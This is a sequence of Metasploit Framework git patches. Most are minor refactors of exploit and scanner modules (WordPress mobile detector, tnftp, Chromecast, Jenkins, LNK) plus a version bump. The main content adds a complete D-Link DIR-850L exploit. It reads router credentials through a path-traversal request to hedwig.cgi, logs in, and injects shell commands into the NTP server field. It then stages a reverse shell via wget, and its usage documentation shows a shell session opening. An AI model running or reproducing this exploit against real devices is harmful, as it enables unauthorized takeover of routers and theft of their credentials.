diff --git a/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb b/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb
index 1817767973..c5f6f7adcd 100644
--- a/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb
+++ b/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb
@@ -6,9 +6,9 @@
 class MetasploitModule < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
-  include Msf::Exploit::FileDropper
   include Msf::Exploit::Remote::HTTP::Wordpress
   include Msf::Exploit::Remote::HttpServer
+  include Msf::Exploit::FileDropper
 
   def initialize(info = {})
     super(update_info(
@@ -50,9 +50,6 @@ class MetasploitModule < Msf::Exploit::Remote
   end
 
   def exploit
-    if datastore['SRVHOST'] == '0.0.0.0'
-      fail_with(Failure::BadConfig, 'SRVHOST must be an IP address accessible from rhost')
-    end
     payload_name = rand_text_alphanumeric(10) + '.php'
 
     # First check to see if the file is written already, if it is cache wont retrieve it from us
@@ -69,29 +66,22 @@ class MetasploitModule < Msf::Exploit::Remote
 
     def on_request_uri(cli, _request)
       print_good('Payload requested on server, sending')
-      send_response(cli, payload.encoded, {})
+      send_response(cli, payload.encoded)
     end
 
     print_status('Starting Payload Server')
-    payload_url = '/' + payload_name
-    start_service('Uri' => {
-                    'Path' => payload_url,
-                    'Proc' => proc do |cli, req|
-                       on_request_uri(cli, req)
-                       end
-                    })
+    start_service('Path' => "/#{payload_name}")
 
-    payload_full_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + payload_url
-    print_status("Uploading payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php')}?src=#{payload_full_url}")
+    print_status("Uploading payload via #{normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php')}?src=#{get_uri}")
 
     res = send_request_cgi(
       'global' => true,
       'method'  => 'GET',
       'uri'     => normalize_uri(wordpress_url_plugins, 'wp-mobile-detector', 'resize.php'),
-      'vars_get' => {'src' => payload_full_url}
+      'vars_get' => {'src' => get_uri}
     )
 
-   if res && res.code == 200
+    if res && res.code == 200
       print_good('Sleeping 5 seconds for payload upload')
       register_files_for_cleanup(payload_name)
 
@@ -104,7 +94,6 @@ class MetasploitModule < Msf::Exploit::Remote
       })
       # wait for callback, without this we exit too fast and miss our shell
       Rex.sleep(2)
-      handler
     else
       if res.nil?
         fail_with(Failure::Unreachable, 'No response from the target')

From 7a09dcb4085231bd84d033d1978943267f69ffcd Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Wed, 1 Nov 2017 13:32:00 -0500
Subject: [PATCH 080/254] Fix #9109, HttpServer (TcpServer) backgrounding

---
 .../exploits/unix/webapp/wp_mobile_detector_upload_execute.rb  | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb b/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb
index c5f6f7adcd..3355a7c067 100644
--- a/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb
+++ b/modules/exploits/unix/webapp/wp_mobile_detector_upload_execute.rb
@@ -41,7 +41,8 @@ class MetasploitModule < Msf::Exploit::Remote
       'Platform'        => 'php',
       'Arch'            => ARCH_PHP,
       'Targets'         => [['wp-mobile-detectory < 3.6', {}]],
-      'DefaultTarget'   => 0
+      'DefaultTarget'   => 0,
+      'Stance'          => Msf::Exploit::Stance::Aggressive
     ))
   end
 

From 0e66ca1dc06f576d7e8bee03429b57159cab46b0 Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Wed, 1 Nov 2017 15:05:49 -0500
Subject: [PATCH 081/254] Fix #3444/#4774, get_json_document over JSON.parse

Forgot to update these when I wrote new modules.
---
 modules/auxiliary/scanner/http/chromecast_webserver.rb | 7 +------
 modules/auxiliary/scanner/http/chromecast_wifi.rb      | 2 +-
 2 files changed, 2 insertions(+), 7 deletions(-)

diff --git a/modules/auxiliary/scanner/http/chromecast_webserver.rb b/modules/auxiliary/scanner/http/chromecast_webserver.rb
index c62019c8c5..82b9f1233e 100644
--- a/modules/auxiliary/scanner/http/chromecast_webserver.rb
+++ b/modules/auxiliary/scanner/http/chromecast_webserver.rb
@@ -37,12 +37,7 @@ class MetasploitModule < Msf::Auxiliary
 
     return unless (res && res.code == 200)
 
-    begin
-      json = JSON.parse(res.body)
-    rescue JSON::ParserError
-      return
-    end
-
+    json = res.get_json_document
     name, ssid = json['name'], json['ssid']
 
     if name && ssid
diff --git a/modules/auxiliary/scanner/http/chromecast_wifi.rb b/modules/auxiliary/scanner/http/chromecast_wifi.rb
index 63bd531a60..c68cfea3b1 100644
--- a/modules/auxiliary/scanner/http/chromecast_wifi.rb
+++ b/modules/auxiliary/scanner/http/chromecast_wifi.rb
@@ -43,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary
       'SortIndex' => -1
     )
 
-    JSON.parse(res.body).each do |wap|
+    res.get_json_document.each do |wap|
       waps_table << [
         wap['bssid'],
         wap['signal_level'],

From 77181bcc9c3b1c71bbed3761bbd10ea0c9d2c17b Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Wed, 1 Nov 2017 15:32:32 -0500
Subject: [PATCH 082/254] Prefer peer over rhost/rport

---
 modules/auxiliary/scanner/http/jenkins_enum.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/auxiliary/scanner/http/jenkins_enum.rb b/modules/auxiliary/scanner/http/jenkins_enum.rb
index 982adf452e..2eaa0a1ac9 100644
--- a/modules/auxiliary/scanner/http/jenkins_enum.rb
+++ b/modules/auxiliary/scanner/http/jenkins_enum.rb
@@ -51,7 +51,7 @@ class MetasploitModule < Msf::Auxiliary
     end
 
     version = res.headers['X-Jenkins']
-    print_good("#{rhost}:#{rport} Jenkins Version - #{version}")
+    print_good("#{peer} - Jenkins Version #{version}")
     report_service(
       :host  => rhost,
       :port  => rport,

From 87934b81944be45433b1a588e2f8861bd38648c7 Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Wed, 1 Nov 2017 17:37:41 -0500
Subject: [PATCH 083/254] Convert tnftp_savefile from auxiliary to exploit

This has been a long time coming. Fixes #4109.
---
 .../unix/http}/tnftp_savefile.rb              | 30 +++++++++----------
 1 file changed, 14 insertions(+), 16 deletions(-)
 rename modules/{auxiliary/server => exploits/unix/http}/tnftp_savefile.rb (84%)

diff --git a/modules/auxiliary/server/tnftp_savefile.rb b/modules/exploits/unix/http/tnftp_savefile.rb
similarity index 84%
rename from modules/auxiliary/server/tnftp_savefile.rb
rename to modules/exploits/unix/http/tnftp_savefile.rb
index bcce71a02b..d1b7172ec9 100644
--- a/modules/auxiliary/server/tnftp_savefile.rb
+++ b/modules/exploits/unix/http/tnftp_savefile.rb
@@ -3,7 +3,9 @@
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-class MetasploitModule < Msf::Auxiliary
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
   include Msf::Exploit::Remote::HttpServer
   include Msf::Auxiliary::Report
 
@@ -32,22 +34,18 @@ class MetasploitModule < Msf::Auxiliary
       ],
       'DisclosureDate' => 'Oct 28 2014',
       'License' => MSF_LICENSE,
-      'Actions' => [
-        ['Service']
-      ],
-      'PassiveActions' => [
-        'Service'
-      ],
-      'DefaultAction' => 'Service'
+      'Platform' => 'unix',
+      'Arch' => ARCH_CMD,
+      'Privileged' => false,
+      'Payload' => {'BadChars' => '/'},
+      'Targets' => [['ftp(1)', {}]],
+      'DefaultTarget' => 0
     ))
-
-    register_options([
-      OptString.new('CMD', [true, 'Command to run', 'uname -a'])
-    ])
   end
 
-  def run
-    exploit
+  def exploit
+    start_service
+    sleep
   end
 
   def on_request_uri(cli, request)
@@ -59,7 +57,7 @@ class MetasploitModule < Msf::Auxiliary
 
     if request.uri.ends_with?(sploit)
       send_response(cli, '')
-      print_good("Executing `#{datastore['CMD']}'!")
+      print_good("Executing `#{payload.encoded}'!")
       report_vuln(
         :host => cli.peerhost,
         :name => self.name,
@@ -79,6 +77,6 @@ class MetasploitModule < Msf::Auxiliary
   end
 
   def sploit
-    "|#{datastore['CMD']}"
+    "|#{payload.encoded}"
   end
 end

From a15b61a21834fb77ed4918ff43bce895409e967b Mon Sep 17 00:00:00 2001
From: William Vu <William_Vu@rapid7.com>
Date: Wed, 1 Nov 2017 19:22:11 -0500
Subject: [PATCH 084/254] Fix #9160, exploit method from TcpServer

It already starts the server and waits for us. This is what was called
when the module was still auxiliary.
---
 modules/exploits/unix/http/tnftp_savefile.rb | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/modules/exploits/unix/http/tnftp_savefile.rb b/modules/exploits/unix/http/tnftp_savefile.rb
index d1b7172ec9..57e9961e94 100644
--- a/modules/exploits/unix/http/tnftp_savefile.rb
+++ b/modules/exploits/unix/http/tnftp_savefile.rb
@@ -43,11 +43,6 @@ class MetasploitModule < Msf::Exploit::Remote
     ))
   end
 
-  def exploit
-    start_service
-    sleep
-  end
-
   def on_request_uri(cli, request)
     unless request['User-Agent'] =~ /(tn|NetBSD-)ftp/
       print_status("#{request['User-Agent']} connected")

From d815e42ccfb2b5b42d3358de89879eeb3f8b0955 Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Wed, 1 Nov 2017 20:38:45 -0400
Subject: [PATCH 085/254] Add a generic tab completion function

---
 .../ui/console/command_dispatcher/payload.rb  | 37 ++++++++++++++-----
 1 file changed, 27 insertions(+), 10 deletions(-)

diff --git a/lib/msf/ui/console/command_dispatcher/payload.rb b/lib/msf/ui/console/command_dispatcher/payload.rb
index bab4065d70..20b223f266 100644
--- a/lib/msf/ui/console/command_dispatcher/payload.rb
+++ b/lib/msf/ui/console/command_dispatcher/payload.rb
@@ -153,22 +153,39 @@ module Msf
           end
 
           def cmd_generate_tabs(str, words)
+            fmt = {
+              '-b' => [ true                                              ],
+              '-E' => [ nil,                                              ],
+              '-e' => [ framework.encoders.map { |refname, mod| refname } ],
+              '-h' => [ nil,                                              ],
+              '-o' => [ true,                                             ],
+              '-s' => [ true,                                             ],
+              '-f' => [ :file,                                            ],
+              '-t' => [ @@supported_formats,                              ],
+              '-p' => [ true,                                             ],
+              '-k' => [ nil,                                              ],
+              '-x' => [ :file,                                            ],
+              '-i' => [ true,                                             ]
+            }
+            tab_complete_spec(fmt, str, words)
+          end
+
+          def tab_complete_spec(fmt, str, words)
             last_word = words[-1]
-            fmt = @@generate_opts.fmt
             fmt = fmt.select { |key, value| last_word == key || !words.include?(key) }
 
-            option = fmt[last_word]
-            return fmt.keys if !option || !option[0]
+            val = fmt[last_word]
+            return fmt.keys if !val  # the last word does not look like a fmtspec
+            arg = val[0]
+            return fmt.keys if !arg  # the last word is a fmtspec that takes no argument
 
             tabs = []
-            case last_word
-              when '-e'
-                tabs = framework.encoders.map { |refname, mod| refname }
-              when '-f'
-                tabs = tab_complete_filenames(str, words)
-              when '-t'
-                tabs = @@supported_formats
+            if arg.to_s.to_sym == :file
+              tabs = tab_complete_filenames(str, words)
+            elsif arg.kind_of?(Array)
+              tabs = arg.map {|a| a.to_s}
             end
+            tabs
           end
         end
       end

From 70033e2b94642a66e50bd04bed84750a9403fcdb Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Thu, 2 Nov 2017 12:31:54 -0400
Subject: [PATCH 086/254] Enable the payload handler by default

---
 modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb | 4 ++--
 modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb      | 1 -
 2 files changed, 2 insertions(+), 3 deletions(-)

diff --git a/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb b/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb
index a91c80694e..9651e72307 100644
--- a/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb
+++ b/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb
@@ -47,7 +47,8 @@ class MetasploitModule < Msf::Exploit::Remote
           ],
         'DefaultOptions'  =>
           {
-            'EXITFUNC'    => 'process'
+            'EXITFUNC'              => 'process',
+            'DisablePayloadHandler' => true
           },
         'Arch'            => [ARCH_X86, ARCH_X64],
         'Payload'         =>
@@ -76,7 +77,6 @@ class MetasploitModule < Msf::Exploit::Remote
 
     register_advanced_options(
       [
-        OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]),
         OptString.new('LnkComment', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
         OptString.new('LnkDisplayName', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
       ]
diff --git a/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb b/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb
index bfc4fc71ba..312d43b18b 100644
--- a/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb
+++ b/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb
@@ -79,7 +79,6 @@ class MetasploitModule < Msf::Exploit::Local
 
     register_advanced_options(
       [
-        OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]),
         OptString.new('LnkComment', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
         OptString.new('LnkDisplayName', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
       ]

From a14102083ca7871e03c1be709289ff1d8f785fa1 Mon Sep 17 00:00:00 2001
From: Metasploit <metasploit@rapid7.com>
Date: Thu, 2 Nov 2017 10:01:12 -0700
Subject: [PATCH 087/254] Bump version of framework to 4.16.15

---
 Gemfile.lock                        | 14 +++++++-------
 lib/metasploit/framework/version.rb |  2 +-
 2 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index 5a57421014..4d5a45de98 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -1,7 +1,7 @@
 PATH
   remote: .
   specs:
-    metasploit-framework (4.16.14)
+    metasploit-framework (4.16.15)
       actionpack (~> 4.2.6)
       activerecord (~> 4.2.6)
       activesupport (~> 4.2.6)
@@ -130,25 +130,25 @@ GEM
     google-protobuf (3.4.1.1)
     googleapis-common-protos-types (1.0.0)
       google-protobuf (~> 3.0)
-    googleauth (0.5.3)
+    googleauth (0.6.1)
       faraday (~> 0.12)
-      jwt (~> 1.4)
+      jwt (>= 1.4, < 3.0)
       logging (~> 2.0)
       memoist (~> 0.12)
       multi_json (~> 1.11)
       os (~> 0.9)
       signet (~> 0.7)
-    grpc (1.7.0)
+    grpc (1.7.2)
       google-protobuf (~> 3.1)
       googleapis-common-protos-types (~> 1.0.0)
-      googleauth (~> 0.5.1)
+      googleauth (>= 0.5.1, < 0.7)
     hashery (2.1.2)
     i18n (0.9.0)
       concurrent-ruby (~> 1.0)
     jsobfu (0.4.2)
       rkelly-remix
     json (2.1.0)
-    jwt (1.5.6)
+    jwt (2.1.0)
     little-plugger (1.1.4)
     logging (2.2.2)
       little-plugger (~> 1.1)
@@ -378,4 +378,4 @@ DEPENDENCIES
   yard
 
 BUNDLED WITH
-   1.15.4
+   1.16.0
diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb
index 9690195ec5..88b837dc2f 100644
--- a/lib/metasploit/framework/version.rb
+++ b/lib/metasploit/framework/version.rb
@@ -30,7 +30,7 @@ module Metasploit
         end
       end
 
-      VERSION = "4.16.14"
+      VERSION = "4.16.15"
       MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
       PRERELEASE = 'dev'
       HASH = get_hash

From 61a67efb826f02815341dc9825f74ee852509852 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Thu, 2 Nov 2017 15:53:09 -0400
Subject: [PATCH 088/254] annnd....it sucks

---
 .../linux/http/dlink_850l_unauth_exec.rb      | 165 ++++++++++++++++++
 1 file changed, 165 insertions(+)
 create mode 100644 modules/exploits/linux/http/dlink_850l_unauth_exec.rb

diff --git a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
new file mode 100644
index 0000000000..181cbb1784
--- /dev/null
+++ b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
@@ -0,0 +1,165 @@
+require 'openssl'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStager
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name' => 'DIR-850L (Un)authenticated OS Command Exec',
+      'Description' => %q{
+        This module leverages an unauthenticated credential disclosure
+        vulneralbility to then execute arbitrary commands on DIR-850L routers
+        as an authenticated user. Unable to use Meterpreter payloads, or
+        any other payload besides linux/mipsbe/shell/reverse_tcp & occasionally
+        linux/mipsbe/shell_reverse_tcp.
+      },
+      'Author' => [
+        'Mumbai <https://github.com/realoriginal>' # module
+      ],
+      'References' => [
+        ['URL', 'https://www.seebug.org/vuldb/ssvid-96333'],
+        ['URL', 'https://blogs.securiteam.com/index.php/archives/3310'],
+      ],
+      'DisclosureDate' => 'Aug 9 2017',
+      'License' => MSF_LICENSE,
+      'Platform' => 'linux',
+      'Arch' => ARCH_MIPSBE,
+      'DefaultTarget' => 0,
+      'DefaultOptions' => {
+        'PAYLOAD' => 'linux/mipsbe/shell/reverse_tcp'
+      },
+      'Privileged' => true,
+      'Payload' => {
+        'DisableNops' => true,
+      },
+      'Targets' => [[ 'Automatic', {} ]],
+    ))
+  end
+
+  def retrieve_creds
+    begin
+      xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
+      xml << "<postxml>\r\n"
+      xml << "<module>\r\n"
+      xml << "   <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
+      xml << "</module>\r\n"
+      xml << "</postxml>"
+      uid = rand_text_alpha_lower(8)
+      res = send_request_cgi({
+        'uri' => '/hedwig.cgi',
+        'method' => 'POST',
+        'encode_params' => false,
+        'headers' => {
+          'Accept-Encoding' => 'gzip, deflate',
+          'Accept' => '*/*'
+        },
+        'ctype' => 'text/xml',
+        'cookie' => "uid=#{uid}",
+        'data' => xml,
+      })
+      parse = res.get_xml_document
+      username = parse.at('//name').text
+      password = parse.at('//password').text
+      return username, password
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
+    end
+  end
+
+  def retrieve_uid
+    begin
+      res = send_request_cgi({
+          'uri' => '/authentication.cgi',
+          'method' => 'GET',
+      })
+      parse = res.get_json_document
+      uid = parse['uid']
+      challenge = parse['challenge']
+      return uid, challenge
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
+    end
+  end
+
+  def hash_passwd(username, password, challenge)
+    hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
+    return hash
+  end
+
+  def login(username, hash, uid)
+    begin
+      data = "id=#{username}&password=#{hash}"
+      res = send_request_cgi({
+        'uri' => '/authentication.cgi',
+        'method' => 'POST',
+        'data' => data,
+        'cookie' => "uid=#{uid}"
+      })
+      return res
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
+    end
+  end
+
+  def execute_command(cmd, opts)
+    username, password = retrieve_creds
+    uid, challenge = retrieve_uid
+    hash = hash_passwd(username, password, challenge)
+    login(username, hash, uid)
+    payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
+    payload << "<postxml>\r\n"
+    payload << "<module>\r\n"
+    payload << "        <service>DEVICE.TIME</service>\r\n"
+    payload << "        <device>\r\n"
+    payload << "                <time>\r\n"
+    payload << "                        <ntp>\r\n"
+    payload << "                                <enable>1</enable>\r\n"
+    payload << "                                <period>604800</period>\r\n"
+    payload << "                                <server>metelesku; (#{cmd};) &amp; exit; </server>\r\n"
+    payload << "                        </ntp>\r\n"
+    payload << "                        <ntp6>\r\n"
+    payload << "                                <enable>1</enable>\r\n"
+    payload << "                                <period>604800</period>\r\n"
+    payload << "                        </ntp6>\r\n"
+    payload << "                        <timezone>20</timezone>\r\n"
+    payload << "                        <time/>\r\n"
+    payload << "                        <date/>\r\n"
+    payload << "                        <dst>0</dst>\r\n"
+    payload << "                        <dstmanual/>\r\n"
+    payload << "                        <dstoffset/>\r\n"
+    payload << "                </time>\r\n"
+    payload << "        </device>\r\n"
+    payload << "</module>\r\n"
+    payload << "</postxml>"
+    begin
+      res = send_request_cgi({
+        'uri' => '/hedwig.cgi',
+        'method' => 'POST',
+        'ctype' => 'text/xml',
+        'data' => payload,
+        'cookie' => "uid=#{uid}"
+        })
+      res = send_request_cgi({
+        'uri' => '/pigwidgeon.cgi',
+        'method' => 'POST',
+        'data' => 'ACTIONS=SETCFG,ACTIVATE',
+        'cookie' => "uid=#{uid}"
+      })
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
+    end
+  end
+
+
+  def exploit
+    print_status("#{peer} - Initiating exploitation...")
+    execute_cmdstager(
+      :flavor => :wget,
+      :background => true,
+      :nodelete => true
+    )
+  end
+end

From 429ac71a63e438687278cd0259c63d0dfd812c49 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Thu, 2 Nov 2017 15:53:45 -0400
Subject: [PATCH 089/254] header

---
 modules/exploits/linux/http/dlink_850l_unauth_exec.rb | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
index 181cbb1784..0efbe59d9c 100644
--- a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
+++ b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
@@ -1,3 +1,8 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
 require 'openssl'
 
 class MetasploitModule < Msf::Exploit::Remote

From caad1bbf271f27cbd22334bb2cc5e1288bc4d6a0 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Thu, 2 Nov 2017 15:54:45 -0400
Subject: [PATCH 090/254] Create dlink_dir850l_unauth_exec.md

---
 .../linux/http/dlink_dir850l_unauth_exec.md   | 40 +++++++++++++++++++
 1 file changed, 40 insertions(+)
 create mode 100644 documentation/modules/exploit/linux/http/dlink_dir850l_unauth_exec.md

diff --git a/documentation/modules/exploit/linux/http/dlink_dir850l_unauth_exec.md b/documentation/modules/exploit/linux/http/dlink_dir850l_unauth_exec.md
new file mode 100644
index 0000000000..dc8863c9d1
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/dlink_dir850l_unauth_exec.md
@@ -0,0 +1,40 @@
+The module dlink_dir850_(un)auth_exec leverages an unauthenticated credential disclosure vulneralbility to then execute arbitrary commands via an authenticated OS command injection
+vulneralbility. D-LINK 850L (excluding "Cloud" models) devices with firmware version up to 1.14B07
+are potentially vulnerable. The vulneralbility seems to occur within the parsing of the config. Another PoC can be found here https://www.seebug.org/vuldb/ssvid-96333. Setting command to be `reboot` will force the router into an infinite loop.
+
+## Vulnerable Application
+
+
+  1. Start msfconsole
+  2. Do : `use exploit/linux/http/dlink_dir850l_unauth_exec.rb`
+  3. Do : `set RHOST [RouterIP]`
+  4. Do : `set PAYLOAD linux/mipsle/shell/reverse_tcp`
+  5. Do : `run`
+  6. If router is vulnerable, payload should be dropped via wget and executed, and therein should obtain an session
+
+
+## Example
+
+```
+msf > use exploit/linux/http/dlink_850l_unauth_exec
+msf exploit(dlink_850l_unauthenticated_exec) > set RHOST 192.168.0.14
+RHOST => 192.168.0.14
+msf exploit(dlink_850l_unauthenticated_exec) > set RPORT 80
+RPORT => 80
+msf exploit(dlink_850l_unauthenticated_exec) > set LHOST ens3
+LHOST => ens3
+msf exploit(dlink_850l_unauthenticated_exec) > set LPORT 1351
+LPORT => 1351
+msf exploit(dlink_850l_unauthenticated_exec) > run
+
+[*] Started reverse TCP handler on 192.168.0.11:1351
+[*] 192.168.0.14:80 - Initiating exploitation...
+[*] Using URL: http://0.0.0.0:80/Muw2WNUEmsAlcdl
+[*] Local IP: http://192.168.0.11:80/Muw2WNUEmsAlcdl
+[*] 192.168.0.14:80 - Retrieving uid and auth challenge...
+[*] Command Stager progress - 100.00% done (101/101 bytes)
+[*] Client 192.168.0.14 (Wget) requested /Muw2WNUEmsAlcdl
+[*] Sending payload to 192.168.0.14 (Wget)
+[*] Command shell session 2 opened (192.168.0.11:1351 -> 192.168.0.14:55167) at 2017-11-02 15:37:06 -0400
+[*] Server stopped.
+```

From 5b7d803f85c5e872bd0fddb7894aed91e2d4e990 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Thu, 2 Nov 2017 15:57:03 -0400
Subject: [PATCH 091/254] Update dlink_850l_unauth_exec.rb

---
 modules/exploits/linux/http/dlink_850l_unauth_exec.rb | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
index 0efbe59d9c..8f05f151f1 100644
--- a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
+++ b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
@@ -6,7 +6,7 @@
 require 'openssl'
 
 class MetasploitModule < Msf::Exploit::Remote
-  Rank = ExcellentRanking
+  Rank = AverageRanking
 
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::CmdStager

From af583e843c5e464e5cc29ec507ce9335a06d0a16 Mon Sep 17 00:00:00 2001
From: Austin <30811388+realoriginal@users.noreply.github.com>
Date: Fri, 3 Nov 2017 06:21:59 -0400
Subject: [PATCH 092/254] Update dlink_850l_unauth_exec.rb

---
 .../linux/http/dlink_850l_unauth_exec.rb      | 40 +++++++------------
 1 file changed, 15 insertions(+), 25 deletions(-)

diff --git a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
index 8f05f151f1..70e1f8e5db 100644
--- a/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
+++ b/modules/exploits/linux/http/dlink_850l_unauth_exec.rb
@@ -1,12 +1,7 @@
-##
-# This module requires Metasploit: https://metasploit.com/download
-# Current source: https://github.com/rapid7/metasploit-framework
-##
-
 require 'openssl'
 
 class MetasploitModule < Msf::Exploit::Remote
-  Rank = AverageRanking
+  Rank = ExcellentRanking
 
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::CmdStager
@@ -49,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote
       xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
       xml << "<postxml>\r\n"
       xml << "<module>\r\n"
-      xml << "   <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
+      xml << "  <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
       xml << "</module>\r\n"
       xml << "</postxml>"
       uid = rand_text_alpha_lower(8)
@@ -68,6 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote
       parse = res.get_xml_document
       username = parse.at('//name').text
       password = parse.at('//password').text
+      vprint_status("#{peer} - Retrieved the username/password combo #{username}/#{password}")
       return username, password
     rescue ::Rex::ConnectionError
       fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
@@ -89,31 +85,25 @@ class MetasploitModule < Msf::Exploit::Remote
     end
   end
 
-  def hash_passwd(username, password, challenge)
-    hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
-    return hash
-  end
-
-  def login(username, hash, uid)
+  def login
+    username, password = retrieve_creds
+    uid, challenge = retrieve_uid
     begin
-      data = "id=#{username}&password=#{hash}"
+      hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
       res = send_request_cgi({
         'uri' => '/authentication.cgi',
         'method' => 'POST',
-        'data' => data,
+        'data' => "id=#{username}&password=#{hash}",
         'cookie' => "uid=#{uid}"
       })
-      return res
+      return uid
     rescue ::Rex::ConnectionError
       fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
     end
   end
 
   def execute_command(cmd, opts)
-    username, password = retrieve_creds
-    uid, challenge = retrieve_uid
-    hash = hash_passwd(username, password, challenge)
-    login(username, hash, uid)
+    uid = login
     payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
     payload << "<postxml>\r\n"
     payload << "<module>\r\n"
@@ -123,7 +113,7 @@ class MetasploitModule < Msf::Exploit::Remote
     payload << "                        <ntp>\r\n"
     payload << "                                <enable>1</enable>\r\n"
     payload << "                                <period>604800</period>\r\n"
-    payload << "                                <server>metelesku; (#{cmd};) &amp; exit; </server>\r\n"
+    payload << "                                <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}) </server>\r\n"
     payload << "                        </ntp>\r\n"
     payload << "                        <ntp6>\r\n"
     payload << "                                <enable>1</enable>\r\n"
@@ -140,13 +130,15 @@ class MetasploitModule < Msf::Exploit::Remote
     payload << "</module>\r\n"
     payload << "</postxml>"
     begin
+      # save configuration
       res = send_request_cgi({
         'uri' => '/hedwig.cgi',
         'method' => 'POST',
         'ctype' => 'text/xml',
         'data' => payload,
